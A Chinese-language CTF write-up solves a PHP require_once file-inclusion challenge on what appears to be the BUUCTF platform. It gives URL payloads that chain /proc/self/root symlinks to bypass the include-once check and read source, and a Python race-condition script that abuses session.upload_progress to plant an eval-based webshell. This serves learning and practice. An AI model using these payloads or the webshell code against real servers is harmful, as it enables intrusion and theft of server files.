前言
关键字:[require_once|proc|文件包含|session|session.upload_progress]
<?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {
require_once $_GET['file'];
}
题解
绕过不能重复包含文件的限制
解法1
PHP最新版的小Trick,require_once包含的软链接层数较多时once的hash匹配会直接失效造成重复包含
/proc/[pid]
记录了系统运行的信息状态,而/proc/self
指的是当前进程(自身进程)的pid,就类似于类里面的this
/proc/self/root/
是指向/
的符号链接
?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
另一种写法
/proc/self/cwd/
指向当前进程运行目录的一个符号链接,
?file=php://filter/read=convert.base64-encode/index/resource=/123/../../proc/self/cwd/flag.php
解法2 条件竞争:利用session.upload_progress
之前有做过类似的题,具体见刷题笔记:[NPUCTF2020]ezinclude
import io
import sys
import requests
import threading
host = 'http://f1f8290e-450c-47c9-8dfd-b1bb5f4a2807.node4.buuoj.cn:81/'
sessid = 'flag'
def write(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
session.post(
host,
data={
"PHP_SESSION_UPLOAD_PROGRESS": "<?php $shell='<?php @eval($_POST[cmd])?>';system('ls /');fputs(fopen('shell.php','w'),$shell);file_put_contents('shell.php',$shell);echo md5('1');?>"},
files={"file": ('a.txt', f)},
cookies={'PHPSESSID': sessid}
)
def read(session):
while True:
response = session.get(f'{host}?file=/tmp/sess_{sessid}')
# 1的MD5值
if 'c4ca4238a0b923820dcc509a6f75849b' not in response.text:
print('[+++]retry')
else:
print(response.text)
sys.exit()
with requests.session() as session:
t1 = threading.Thread(target=write, args=(session,))
t1.daemon = True # 主线程退出时,不管子线程是否完成都随主线程退出
t1.start()
read(session)
试了下文件写入不了,不知道为啥,只能直接读